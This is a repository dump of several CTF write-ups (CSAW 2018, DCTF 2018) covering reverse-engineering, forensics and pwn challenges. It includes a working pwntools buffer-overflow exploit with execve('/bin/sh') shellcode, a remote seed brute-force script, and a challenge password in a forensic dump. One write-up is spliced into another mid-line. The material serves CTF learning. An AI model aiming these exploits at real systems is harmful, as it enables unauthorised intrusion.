| Now, it's clear that the program will only change the rip according to the value of rax. 194 | The change is performed by checking a table in the binary, and it's stored at `0x2020A0` 195 | 196 | 197 | ![](https://i.imgur.com/V1gS61R.png) 198 | 199 | The mapping is: 200 | 201 | ``` 202 | rax => rip 203 | 0x3493310d => 0x32c 204 | 0x5de72dd => 0x347 205 | 0x968630d0 => 0x400 206 | 0xef5bdd13 => 0x435 207 | 0x5f291a64 => 0x441 208 | 0xc50b6060 => 0x454 209 | 0x8aeef509 => 0x389 210 | 0x9d1fe433 => 0x3ed 211 | 0x54a15b03 => 0x376 212 | 0x8f6e2804 => 0x422 213 | 0x59c33d0f => 0x3e1 214 | 0x64d8a529 => 0x3b8 215 | 0x5de72dd => 0x347 216 | 0xfc2ff49f => 0x3ce 217 | ``` 218 | 219 | After the `nop` slide under the first `hlt` inside `0x1e0`, there is more code with `hlt`: 220 | 221 | 222 | We can now manually chain the blocks together using the table, and finally use our brain to decompile it: 223 | 224 | ```c 225 | int8_t *rbp, *rsp; 226 | int64_t rdi, rsi, rdx, rcx, rax, rbx; 227 | int8_t *ebp, *esp; 228 | int32_t edi, esi, edx, ecx, eax, ebx; 229 | 230 | uint32_t shft = 0; 231 | uint8_t *cmpbuf_p = (uint8_t *)0x1320; 232 | 233 | void func172(uint32_t arg) { 234 | *cmpbuf_p |= (uint8_t) (arg << shft); 235 | shft += 1; 236 | if (shft == 8) { 237 | shft = 0; 238 | } 239 | if (shft == 0) { 240 | cmpbuf_p += 1; 241 | } 242 | } 243 | 244 | int func1e0(char chr, uint8_t *addr) { 245 | if (*(int32_t *)addr == -1) { // 0x347 246 | if (func1e0(chr, 247 | (uint8_t *)(*(uint64_t *)(addr + 8))) 248 | == 1) { // 0x376 249 | func172(0); 250 | return 1; 251 | } 252 | if (func1e0(chr, 253 | (uint8_t *)(*(uint64_t *)(addr + 16))) 254 | == 1) { // 0x3b8 255 | func172(1); 256 | return 1; 257 | } 258 | return 0; // 0x3ce 259 | } // 0x400 260 | if (*(char *)(addr) == chr) { // 0x422 261 | return 1; 262 | } 263 | return 0; // 0x435 264 | } 265 | ``` 266 | 267 | Now the things are much clearer, `func1e0` is always called with `addr = 0x1300` at the outmost loop, then it will check if the addr conatins byte `0xff`, if true, then recursively check `addr+8` and `addr+16`. 268 | 269 | Look at offset `0x1300`, it is actually some kind of address chaining together, which finally link to a character. 270 | ``` 271 | $ od -t x8 -Ax dump | less 272 | ... 273 | 000ae0 0000000000000030 0000000000000000 274 | 000af0 0000000000000000 0000000000000000 275 | ... 276 | 000c60 00000000000000ff 0000000000000ae0 277 | 000c70 0000000000000c40 0000000000000000 278 | ... 279 | 001260 0000000000000020 0000000000000000 280 | 001270 0000000000000000 0000000000000000 281 | 001280 00000000000000ff 0000000000001240 282 | 001290 0000000000001260 0000000000000000 283 | 0012a0 00000000000000ff 0000000000001160 284 | 0012b0 0000000000001280 0000000000000000 285 | 0012c0 00000000000000ff 0000000000000fc0 286 | 0012d0 00000000000012a0 0000000000000000 287 | 0012e0 00000000000000ff 0000000000000c60 288 | 0012f0 00000000000012c0 0000000000000000 289 | 001300 00000000000000ff 00000000000012e0 290 | 001310 0000000000003b30 291 | ``` 292 | 293 | For example, if we keep followed `addr + 8` we'll get `0x1300 -> 0x12e0 -> 0xc60 -> 0xae0 -> 0x30` 294 | 295 | Slightly modify the function make it read the memory then dump the chracters in a tree: 296 | ``` 297 | 0x1300 -> 298 | 0x12e0 -> 299 | 0xc60 -> 300 | 0xae0 -> 30(0) 301 | 0xc40 -> 302 | 0xbc0 -> 303 | 0xb80 -> 304 | 0xb00 -> 77(w) 305 | 0xb60 -> 306 | 0xb20 -> 7d(}) 307 | 0xb40 -> 35(5) 308 | 0xba0 -> 6f(o) 309 | 0xc20 -> 310 | 0xbe0 -> 31(1) 311 | 0xc00 -> 74(t) 312 | 0x12c0 -> 313 | 0xfc0 -> 314 | 0xd40 -> 315 | 0xcc0 -> 316 | 0xc80 -> 33(3) 317 | 0xca0 -> 37(7) 318 | 0xd20 -> 319 | 0xce0 -> 66(f) 320 | 0xd00 -> 69(i) 321 | 0xfa0 -> 322 | 0xe20 -> 323 | 0xda0 -> 324 | 0xd60 -> 3f(?) 325 | 0xd80 -> 63(c) 326 | 0xe00 -> 327 | 0xdc0 -> 62(b) 328 | 0xde0 -> 64(d) 329 | 0xf80 -> 330 | 0xe80 -> 331 | 0xe40 -> 67(g) 332 | 0xe60 -> 72(r) 333 | 0xf60 -> 334 | 0xee0 -> 335 | 0xea0 -> a(\n) 336 | 0xec0 -> 2e(.) 337 | 0xf40 -> 338 | 0xf00 -> 32(2) 339 | 0xf20 -> 65(e) 340 | 0x12a0 -> 341 | 0x1160 -> 342 | 0x10e0 -> 343 | 0x10a0 -> 344 | 0x1020 -> 345 | 0xfe0 -> 6d(m) 346 | 0x1000 -> 6e(n) 347 | 0x1080 -> 348 | 0x1040 -> 78(x) 349 | 0x1060 -> 7b({) 350 | 0x10c0 -> 61(a) 351 | 0x1140 -> 352 | 0x1100 -> 73(s) 353 | 0x1120 -> 36(6) 354 | 0x1280 -> 355 | 0x1240 -> 356 | 0x11c0 -> 357 | 0x1180 -> 34(4) 358 | 0x11a0 -> 68(h) 359 | 0x1220 -> 360 | 0x11e0 -> 6c(l) 361 | 0x1260 -> 20( ) 362 | 0x3b30 -> 0() 363 | ``` 364 | 365 | There are apparently some chracters we want!! `f`, `l`, `a`, `g`, `{`, `}`. 366 | 367 | Each time the function returns with 1, it will call `func172()`. `func172()` will shift some bytes from `0x1320`, which is the buffer later will be compared with `0x580`. Take a deeper look at this function, if `arg == 0` then nothing changes, but if `arg == 1`, the `shft`-th bit from right is set at the current byte, once `shft` reaches 8, it's wrapped to 0 and move to next byte. 368 | 369 | So the input chrarcter will determine what bits are set, isn't it a huffman encoding? 370 | We can thus modify our function again to print out the encoding table, each time it recurse with `addr+8` is a `0` and `addr+16` is a `1`, remember the bit is set after the recusive call returns, so the code must be reversed. 371 | 372 | ``` 373 | { 374 | '0' : '000', 375 | 'w' : '000100', 376 | '}' : '0100100', 377 | '5' : '1100100', 378 | 'o' : '10100', 379 | '1' : '01100', 380 | 't' : '11100', 381 | '3' : '000010', 382 | '7' : '100010', 383 | 'f' : '010010', 384 | 'i' : '110010', 385 | '?' : '0001010', 386 | 'c' : '1001010', 387 | 'b' : '0101010', 388 | 'd' : '1101010', 389 | 'g' : '0011010', 390 | 'r' : '1011010', 391 | '.' : '10111010', 392 | '2' : '01111010', 393 | 'e' : '11111010', 394 | 'm' : '00000110', 395 | 'n' : '10000110', 396 | 'x' : '01000110', 397 | '{' : '11000110', 398 | 'a' : '100110', 399 | 's' : '010110', 400 | '6' : '110110', 401 | '4' : '0001110', 402 | 'h' : '1001110', 403 | 'l' : '0101110', 404 | 'u' : '1101110', 405 | ' ' : '11110', 406 | '' : '1', 407 | } 408 | ``` 409 | 410 | Extracted the bytes from `0x580` with length `0x54a`, translate to binary string and decode with the table. Unfortunately, since the codes are reversed, the property that codes won't share a common prefix now isn't hold anymore. I get something like 411 | ``` 412 | flag.txt 000660o0017i000017i0000000000711000600t766n1602 0 tuar oshi oshiefo{11fd 0culd 0ao1 100 ctf tea012s 1 obfuscat0s boi0o0 011101011111111 413 | ``` 414 | It's almost there, but I can't figure out which character with common prefix to choose. Finally, I try to manually replace the binary string based on some known words, like `flag{`, `ctf`, `tea`, `obfuscat`, etc. And I finally get the flag 415 | ``` 416 | flag.txt11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111000000000000 417 | 1101101101100001110100000000001100100010110010000010000000000110010001011001000001000000000000000000000000000100 418 | 0100110010110000001000001000011101101100000100001110000100010110110110110100001100011001101100000111101011111000 419 | 0111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011100101 420 | 1011100100110101101011110111101111001010001011010011101100101111111111111111111111111111110010100010110100111011 421 | 0010111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 422 | 1111111111111111111111111111111111111111111111111111111111111111111111111111flag{who would win? 100 ctf teams o 423 | r 1 obfuscat3d boi?}0011101011111111 424 | ``` 425 | 426 | Here is the script I use for decryption: 427 | ```python 428 | #!/usr/bin/env python3 429 | 430 | table = { 431 | '0': '000', 432 | 'w': '000100', 433 | '}': '0100100', 434 | '5': '1100100', 435 | 'o': '10100', 436 | '1': '01100', 437 | 't': '11100', 438 | '3': '000010', 439 | '7': '100010', 440 | 'f': '010010', 441 | 'i': '110010', 442 | '?': '0001010', 443 | 'c': '1001010', 444 | 'b': '0101010', 445 | 'd': '1101010', 446 | 'g': '0011010', 447 | 'r': '1011010', 448 | '\n': '00111010', 449 | '.': '10111010', 450 | '2': '01111010', 451 | 'e': '11111010', 452 | 'm': '00000110', 453 | 'n': '10000110', 454 | 'x': '01000110', 455 | '{': '11000110', 456 | 'a': '100110', 457 | 's': '010110', 458 | '6': '110110', 459 | '4': '0001110', 460 | 'h': '1001110', 461 | 'l': '0101110', 462 | 'u': '1101110', 463 | ' ': '11110', 464 | '\': '1', 465 | } 466 | 467 | data = None 468 | flag = "" 469 | with open("dump", "rb") as f: 470 | f.seek(0x580) 471 | data = f.read(0x54a) 472 | 473 | data = data[:146] 474 | 475 | binstr = "" 476 | for b in data: 477 | binstr += bin(b)[2:].rjust(8, '0')[::-1] 478 | """ 479 | for i in range(2000): 480 | matched = [] 481 | for char, code in table.items(): 482 | if binstr.startswith(code): 483 | matched.append((code, char)) 484 | if len(matched) == 0: 485 | binstr = binstr[1:] 486 | continue 487 | code, char = min(matched, key=lambda t: t[0]) 488 | binstr = binstr.replace(code, '', 1) 489 | flag += char 490 | print(flag, binstr) 491 | """ 492 | 493 | 494 | def rep(a, b): 495 | s = "" 496 | for c in b: 497 | s += table[c] 498 | return a.replace(s, b) 499 | 500 | 501 | #print(binstr) 502 | binstr = rep(binstr, "flag.txt") 503 | binstr = rep(binstr, "flag{") 504 | binstr = rep(binstr, "would ") 505 | binstr = rep(binstr, "who ") 506 | binstr = rep(binstr, "or ") 507 | binstr = rep(binstr, "win? ") 508 | binstr = rep(binstr, "obfuscat3d ") 509 | binstr = rep(binstr, " ctf ") 510 | binstr = rep(binstr, "teams ") 511 | binstr = rep(binstr, "1 ") 512 | binstr = rep(binstr, "100") 513 | binstr = rep(binstr, "boi?") 514 | binstr = rep(binstr, "}") 515 | print(binstr) 516 | ``` 517 | 518 | 519 | ### Flag 520 | ``` 521 | flag{who would win? 100 ctf teams or 1 obfuscat3d boi?} 522 | ``` 523 | -------------------------------------------------------------------------------- /csaw-2018/rewind.md: -------------------------------------------------------------------------------- 1 | ## 🐼 Rewind 200 (Forensics) 2 | 3 | ### Solution 4 | 5 | ``` 6 | $ tar xvf rewind.tar.gz 7 | $ unzip rewind.zip 8 | $ rg -a -e "flag\{" --null-data 9 | rewind-rr-snp:while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; donerewind-rr-snp:while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; donerewind-rr-snp:??ls??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 10 | ??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 11 | ??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 12 | ??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 13 | ???OA??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 14 | ??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 15 | ??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 16 | ???OA??flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 17 | rewind-rr-snp:@asd123 18 | ls 19 | cd De 20 | ls 21 | ./a 22 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 23 | OA 24 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 25 | OA 26 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 27 | OA 28 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 29 | OA 30 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 31 | OA 32 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 33 | OA 34 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 35 | OA 36 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 37 | ???fA?G<??H?4?rewind-rr-snp:??( 38 | 39 | 40 | Ubuntu 16.04.4 LTS danny ttyS0 41 | 42 | 43 | 44 | danny login: danny 45 | 46 | 47 | Password: 48 | 49 | Last login: Wed Aug 8 20:54:28 EDT 2018 on ttyS0 50 | 51 | Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-130-generic x86_64) 52 | 53 | 54 | 55 | * Documentation: https://help.ubuntu.com 56 | 57 | * Management: https://landscape.canonical.com 58 | 59 | * Support: https://ubuntu.com/advantage 60 | 61 | 62 | 63 | 33 packages can be updated. 64 | 65 | 0 updates are security updates. 66 | 67 | 68 | 69 | lsdanny@danny:~$ ls 70 | 71 | Desktop Downloads Music Pictures Templates 72 | 73 | Documents examples.desktop peda Public Videos 74 | 75 | danny@danny:~$ cd Desktop/ 76 | 77 | danny@danny:~/Desktop$ ls 78 | 79 | a.out team.c vms 80 | 81 | danny@danny:~/Desktop$ ./a.out 82 | 83 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 84 | 85 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 86 | 87 | danny@danny:~/Desktop$ ./a.out 88 | 89 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 90 | 91 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 92 | 93 | danny@danny:~/Desktop$ ./a.out 94 | 95 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 96 | 97 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 98 | 99 | danny@danny:~/Desktop$ ./a.out 100 | 101 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 102 | 103 | ^[[Aflag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 104 | 105 | danny@danny:~/Desktop$ ./a.out 106 | 107 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 108 | 109 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 110 | 111 | danny@danny:~/Desktop$ ./a.out 112 | 113 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 114 | 115 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 116 | 117 | danny@danny:~/Desktop$ ./a.out 118 | 119 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 120 | 121 | ^[[Aflag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 122 | 123 | danny@danny:~/Desktop$ ./a.out 124 | 125 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 126 | 127 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 128 | 129 | danny@danny:~/Desktop$ rewind-rr-snp:??(ls 130 | cd Desktop/ 131 | ls 132 | ./a.out 133 | ls 134 | ./a.out 135 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 136 | ls 137 | ./a.out 138 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 139 | ls 140 | cd Desktop/ 141 | ls 142 | ./a.out 143 | ls 144 | ./a.out 145 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 146 | ls 147 | ./a.out 148 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 149 | rewind-rr-snp:???(ls 150 | cd Desktop/ 151 | ls 152 | ./a.out 153 | ls 154 | ./a.out 155 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 156 | ls 157 | ./a.out 158 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 159 | ls 160 | cd Desktop/ 161 | ls 162 | ./a.out 163 | ls 164 | ./a.out 165 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 166 | ls 167 | ./a.out 168 | while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done 169 | rewind-rr-snp:while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; donerewind-rr-snp:while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; donerewind-rr-snp:danny 170 | asd123 171 | ls 172 | cd De 173 | ls 174 | ./a 175 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 176 | OA 177 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 178 | OA 179 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 180 | OA 181 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 182 | OA 183 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 184 | OA 185 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 186 | OA 187 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 188 | OA 189 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 190 |  191 | ``` 192 | 193 | ### Flag 194 | 195 | ``` 196 | flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} 197 | ``` 198 | -------------------------------------------------------------------------------- /csaw-2018/shellpointcode.md: -------------------------------------------------------------------------------- 1 | ## shell->code 100 (Pwn) 2 | 3 | ### Solution 4 | 5 | The binary doesn't have NX enabled, it first ask for two 15 bytes input on stack, and then ouput the address of node2 on stack (leak), finally ask for your initials and has a 29 bytes buffer overflow. 6 | 7 | For these 29 bytes, the return address starts at `buf+11` and we can easily overwrite then return to the shellcode on stack. The problem is that we have only 15 bytes for each buffer, not sufficient for a full `execve()` shellcode, and the leak comes after we input our shellcodes, so I can't chain the buffers together. 8 | 9 | Finally I put "/bin/sh" after the return address, since rsp will point to it after return, and making the shellcode fit inside 15 bytes by simply `mov rdi, rsp`. 10 | 11 | ### Exploit 12 | ```python 13 | #!/usr/bin/env python3 14 | from pwn import * 15 | context(arch="amd64") 16 | 17 | r = remote("pwn.chal.csaw.io", 9005) 18 | 19 | sc = """ 20 | mov rdi, rsp 21 | /* call execve('rsp', 0, 0) */ 22 | push (SYS_execve) /* 0x3b */ 23 | pop rax 24 | xor esi, esi /* 0 */ 25 | cdq /* rdx=0 */ 26 | syscall 27 | """ 28 | r.sendline(asm(sc)) 29 | r.sendline("x") 30 | r.recvuntil("node.next: ") 31 | 32 | leak = int(r.recv(14)[2:], 16) 33 | r.sendline(b"a" * 11 + p64(leak + 0x28) + b"/bin/sh\x00") 34 | r.interactive() 35 | ``` 36 | 37 | ### Flag 38 | 39 | ``` 40 | flag{NONONODE_YOU_WRECKED_BRO} 41 | ``` 42 | -------------------------------------------------------------------------------- /csaw-2018/simple_recovery.md: -------------------------------------------------------------------------------- 1 | ## simple_recovery 150 (Forensics) 2 | 3 | ### Solution 4 | 5 | We are given two RAID5 disk images, and ... just extract them and run rg. 6 | 7 | ``` 8 | $ 7z x disk.img0.7z 9 | $ 7z x disk.img1.7z 10 | $ rg -a -e "flag\{" 11 | disk.img0 12 | 265: flag{dis_week_evry_week_dnt_be_securty_weak} 13 | 266: flag{dis_week_evry_week_dnt_be_securty_weak}> buf; 24 | guess = stoi(&buf, 0LL, 10LL); 25 | if ( guess != num ) 26 | { 27 | cout << "Wow that is wrong!" << endl; 28 | return -1; 29 | } 30 | cout << "Wow that is corect!" << endl << endl; 31 | } 32 | ifs = ifstream("./flag2") 33 | if ( is_open(ifs) ) 34 | { 35 | ifs.getline(flag) 36 | cout << flag << endl; 37 | ifs.close() 38 | } 39 | return 0; 40 | } 41 | ``` 42 | 43 | It will use `time(0)/10` as the seed for `srand()`, and output `time(0)/10000`, so the probability to guess the seed at a given period is 1/1000. I wait for the server output time to be carried by one, and start brute-force guessing the time, then finally I will reach the correct server time, and get the flag. 44 | 45 | ### Exploit (if any) 46 | ```python 47 | #!/usr/bin/env python3 48 | from pwn import * 49 | import subprocess 50 | 51 | t = 153764029 52 | for i in range(50): 53 | t += 1 54 | print("trying t =", t) 55 | r = remote("167.99.143.206", 65032) 56 | 57 | r.sendlineafter("name?", "123") 58 | data = subprocess.check_output(["./randgen", str(t)]).decode().split('\n') 59 | try: 60 | for i in range(100): 61 | recv = r.recvuntil("100]") 62 | print(recv) 63 | r.sendline(data[i]) 64 | r.interactive() 65 | except EOFError: 66 | pass 67 | ``` 68 | ```c 69 | /* randgen.c */ 70 | #include 71 | #include 72 | 73 | int main(int argc, char **argv) { 74 | srand(atoi(argv[1])); 75 | for(int i = 0; i < 100; ++i) { 76 | printf("%d\n", rand()); 77 | } 78 | return 0; 79 | } 80 | ``` 81 | 82 | ### Flag 83 | ``` 84 | DCTF{2e7aaa899a8b212ea6ebda3112d24559f2d2c540a9a29b1b47477ae8e5f20ace} 85 | ``` 86 | -------------------------------------------------------------------------------- /dctf-2018/memsome.md: -------------------------------------------------------------------------------- 1 | ## Memsome (Reverse) 2 | 3 | ### Solution 4 | 1. There are many debugger detecting code, patch all of them first. 5 | ![](https://i.imgur.com/r43Xz3r.png) 6 | 7 | 2. Trace the program and found that it will keep reading a byte sequence and translate the sequence into a hex string with length 2240 8 | ![](https://i.imgur.com/bCQaGmD.png) 9 | 10 | 3. Each byte from the input will passthrough base64 and `sub_766C` twice, encode them into a 32 chars string and compare it with the repective string fragment in step.2 11 | ![](https://i.imgur.com/66Vm3od.png) 12 | ![](https://i.imgur.com/ogcJeFg.png) 13 | 14 | 4. Collect the offset that data to be read from for string at step.2 first. 15 | 16 | Note: Some part is directly copy from two hex strings, hex1(`0061f1f351a4cddda4257550dc7d3000`) and hex2(`cfff0050c0b39cf3bdde5a373b96b8a1`) 17 | ``` 18 | 0 0x7abb 19 | 32 0x7acc 20 | 64 0x7add 21 | 96 0xaee 22 | 128 0x7aff 23 | 160 0x7b10 24 | 192 0x7b21 25 | 224 0x7b21 26 | 256 hex1 27 | 288 0x7b59 28 | 320 0x7b10 29 | 352 0x7b6a 30 | 384 hex1 31 | 416 0x7b21 32 | 448 hex2 33 | 480 0x7b21 34 | 512 hex2 35 | 544 0x7ba1 36 | 576 0x7bb2 37 | 608 0x7bc3 38 | 640 0x7bb2 39 | 672 hex2 40 | 704 0x7ba1 41 | 736 0x7bc3 42 | 768 0x7b21 43 | 800 0x7bd4 44 | 832 0x7be5 45 | 864 hex2 46 | 896 0x7b59 47 | 928 0x7bd4 48 | 960 hex1 49 | 992 0x7bf6 50 | 1024 0x7c07 51 | 1056 0x7b21 52 | 1088 0x7be5 53 | 1120 0x7b59 54 | 1152 0x7c18 55 | 1184 0x7c07 56 | 1216 0x7bd4 57 | 1248 0x7bd4 58 | 1280 0x7bc3 59 | 1312 0x7bc3 60 | 1344 0x7bf6 61 | 1376 0x7bf6 62 | 1408 0x7c29 63 | 1440 0x7b6a 64 | 1472 0x7b21 65 | 1504 0x7bd4 66 | 1536 hex1 67 | 1568 0x7b6a 68 | 1600 0x7c18 69 | 1632 0x7bd4 70 | 1664 0x7be5 71 | 1696 0x7c29 72 | 1728 0x7bb2 73 | 1760 hex1 74 | 1792 0x7c29 75 | 1824 0x7c3a 76 | 1856 0x7b21 77 | 1888 hex2 78 | 1920 0x7bc3 79 | 1952 hex1 80 | 1984 0x7c3a 81 | 2016 0x7ba1 82 | 2048 0x7be5 83 | 2080 0x7bf6 84 | 2112 0x7c3a 85 | 2144 0x7bf6 86 | 2176 0x7c07 87 | 2208 0x7c4b 88 | ``` 89 | 90 | 5. Use a script to generate the string in step.2 91 | ``` 92 | 98678de32e5204a119a3196865cc7b83 93 | e5a4dc5dd828d93482e61926ed59b4ef 94 | 68e8416fe8d00cca1950830c707f1e22 95 | 73747265616d4963545f4553355f6300 96 | 0b3dfc575614989f78f220e037543e55 97 | 75ac02c02f1f132e6c7314cad02f17cd 98 | de32f4b8b17a37d87ea7436c6f215a34 99 | de32f4b8b17a37d87ea7436c6f215a34 100 | 0061f1f351a4cddda4257550dc7d3000 101 | 0614aebdc5c356c2ca0f192c8f6880cb 102 | 75ac02c02f1f132e6c7314cad02f17cd 103 | ddb8e3fc866990482e44ec0b78af08bd 104 | 0061f1f351a4cddda4257550dc7d3000 105 | de32f4b8b17a37d87ea7436c6f215a34 106 | cfff0050c0b39cf3bdde5a373b96b8a1 107 | de32f4b8b17a37d87ea7436c6f215a34 108 | cfff0050c0b39cf3bdde5a373b96b8a1 109 | 1e14bf5fdcbf5ec3945729ed48110d23 110 | e4ad919d695a4ec3da99398d075aa21b 111 | 0f960e74a909d8558eefd9ab9ee8dbf3 112 | e4ad919d695a4ec3da99398d075aa21b 113 | cfff0050c0b39cf3bdde5a373b96b8a1 114 | 1e14bf5fdcbf5ec3945729ed48110d23 115 | 0f960e74a909d8558eefd9ab9ee8dbf3 116 | de32f4b8b17a37d87ea7436c6f215a34 117 | 2933a2c8540feca890144972daad94c4 118 | daa65a87e8a3d171b4d141c1ba716e49 119 | cfff0050c0b39cf3bdde5a373b96b8a1 120 | 0614aebdc5c356c2ca0f192c8f6880cb 121 | 2933a2c8540feca890144972daad94c4 122 | 0061f1f351a4cddda4257550dc7d3000 123 | c97a9650ef8edf91d8c20734ec20112e 124 | 40a7e180ede04d75b827585e9a1a547d 125 | de32f4b8b17a37d87ea7436c6f215a34 126 | daa65a87e8a3d171b4d141c1ba716e49 127 | 0614aebdc5c356c2ca0f192c8f6880cb 128 | 6bd1e27cd9cd034bf3d1d39d3e75b29e 129 | 40a7e180ede04d75b827585e9a1a547d 130 | 2933a2c8540feca890144972daad94c4 131 | 2933a2c8540feca890144972daad94c4 132 | 0f960e74a909d8558eefd9ab9ee8dbf3 133 | 0f960e74a909d8558eefd9ab9ee8dbf3 134 | c97a9650ef8edf91d8c20734ec20112e 135 | c97a9650ef8edf91d8c20734ec20112e 136 | 9ab45911b5716c3104e44a8947be4cf6 137 | ddb8e3fc866990482e44ec0b78af08bd 138 | de32f4b8b17a37d87ea7436c6f215a34 139 | 2933a2c8540feca890144972daad94c4 140 | 0061f1f351a4cddda4257550dc7d3000 141 | ddb8e3fc866990482e44ec0b78af08bd 142 | 6bd1e27cd9cd034bf3d1d39d3e75b29e 143 | 2933a2c8540feca890144972daad94c4 144 | daa65a87e8a3d171b4d141c1ba716e49 145 | 9ab45911b5716c3104e44a8947be4cf6 146 | e4ad919d695a4ec3da99398d075aa21b 147 | 0061f1f351a4cddda4257550dc7d3000 148 | 9ab45911b5716c3104e44a8947be4cf6 149 | fc496ce3c3e2e04604c375f7edc3cbc4 150 | de32f4b8b17a37d87ea7436c6f215a34 151 | cfff0050c0b39cf3bdde5a373b96b8a1 152 | 0f960e74a909d8558eefd9ab9ee8dbf3 153 | 0061f1f351a4cddda4257550dc7d3000 154 | fc496ce3c3e2e04604c375f7edc3cbc4 155 | 1e14bf5fdcbf5ec3945729ed48110d23 156 | daa65a87e8a3d171b4d141c1ba716e49 157 | c97a9650ef8edf91d8c20734ec20112e 158 | fc496ce3c3e2e04604c375f7edc3cbc4 159 | c97a9650ef8edf91d8c20734ec20112e 160 | 40a7e180ede04d75b827585e9a1a547d 161 | 44e18699a27596eddd71b7920a04864b 162 | ``` 163 | 164 | 5. `sub_766C` is too complicated, I spend more than three hours analyze it and give up. But I finally realize that I just need to enumerate all characters and intercept their encoded result(`*$rax`) after the second `sub_766C` call using gdb, then build a table 165 | ``` 166 | "9cbed6266f60ca7e18c6c18b08ace144": "A", 167 | "b72f3ce3edc16fc82ac190c670945e83": "B", 168 | "e5a4dc5dd828d93482e61926ed59b4ef": "C", 169 | "98678de32e5204a119a3196865cc7b83": "D", 170 | "05121f25ccf7058476a5f7d0f43a10a5": "E", 171 | "226c14d44cd4e179b24b33a4103963c2": "F", 172 | "020e4eceeae7931c809992184401e2c0": "G", 173 | "89d22413a6825bcaf4ab2b4d8bd5935b": "H", 174 | "4f81f5c6cb5325b7c1c1f5e0f3f9cd7d": "I", 175 | "d09355804552f10586e18fd9b7c73d7d": "J", 176 | "4005b42e317e77e796ca032c4331e3b8": "K", 177 | "4681ad30737f72a311e5e3b9044438cd": "L", 178 | "2cff56a46bf98b85bed3a933bc8e0d9c": "M", 179 | "8e5341c1bd5979fae65e883a28b67b4e": "N", 180 | "af6ec03a0a07c3d80665ec5130e2e593": "O", 181 | "aefb764a059808b589d733aca123f5de": "P", 182 | "16490be59a6da3cadbf0db02050ae1b5": "Q", 183 | "90ba3f664d530000626914f80f8b5272": "R", 184 | "d83e98514ae6735092cad56fb8dc7b48": "S", 185 | "68e8416fe8d00cca1950830c707f1e22": "T", 186 | "871b45a56ea9687d28492550b41ad558": "U", 187 | "543884539cecbe3bd4e78860dbf70cfe": "V", 188 | "305c19426fecca73a7d72f4b31e0e92d": "W", 189 | "c3202ec1672642fde3077971bbb45e73": "X", 190 | "c88c8d7854b735bad26190a4636b0288": "Y", 191 | "f01d3924eaa08676a8cb6bdab91ff06d": "Z", 192 | "de32f4b8b17a37d87ea7436c6f215a34": "a", 193 | "9ab45911b5716c3104e44a8947be4cf6": "b", 194 | "40a7e180ede04d75b827585e9a1a547d": "c", 195 | "ddb8e3fc866990482e44ec0b78af08bd": "d", 196 | "6bd1e27cd9cd034bf3d1d39d3e75b29e": "e", 197 | "0f960e74a909d8558eefd9ab9ee8dbf3": "f", 198 | "979ac9caba8271dc1c6e4f6ee52ec2d0": "g", 199 | "6d02afeb4553323f3e2537afc4900427": "h", 200 | "4a39ba8a55375ead7773ba9d800bab01": "i", 201 | 